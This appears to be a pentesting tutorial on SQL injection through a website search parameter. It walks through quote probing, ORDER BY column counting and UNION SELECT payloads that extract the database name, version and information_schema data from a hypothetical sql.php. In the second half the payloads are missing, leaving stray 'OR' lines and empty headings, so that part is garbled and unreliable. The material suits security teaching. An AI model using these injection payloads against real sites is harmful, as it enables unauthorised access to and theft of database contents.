SQL Injection In The Search Field

SQL Injection in search field

Let's say the search page is handled by a file named sql.php, and the parameter is search. Sql.php?search=pentesting The first thing we try is to search with single quote ‘

Sql.php?search=

If it returns an error, then we know its vulnerable. Our next step is to determine the number of columns starting from running a normal query on the search box to get an idea. Finding the number of columns:

Sql.php?search=test’ ORDER BY 1-- - 

OR

Sql.php?search=' ORDER BY 1--

We keep incrementing the number until we hit an error which indicates the number of columns. Then we search for something similar to that below:

Sql.php?search=pentesting’ union select
1,1,1,1,1,1,1#

OR

Sql.php?search =' and 1 = 0 union all
select 1,1,1,1,1,1,1 from
information_schema.tables where 1=0 or
1=1-- '

We continue adding ‘1’s until we don’t receive any error from the page. Only then we know how many columns by counting the ‘1’s. Then we try to find the database name, table names, columns of target table

Sql.php?search=pentesting’ union select
1,database(),@@version,1,1,1,1#

OR

OR

OR

OR

OR

Another method after finding the number of columns.

Lets say we found there are three columns, we would continue this way

The SCHEMATA table specifically contains the names of databases MySQL knows about.

Extracting columns in a table

extracting specific data from a column

OR

Another method to finding the number of columns and proceeding further

The one that returns a correct output is the one that indicates the number of columns Proceeding

Last updated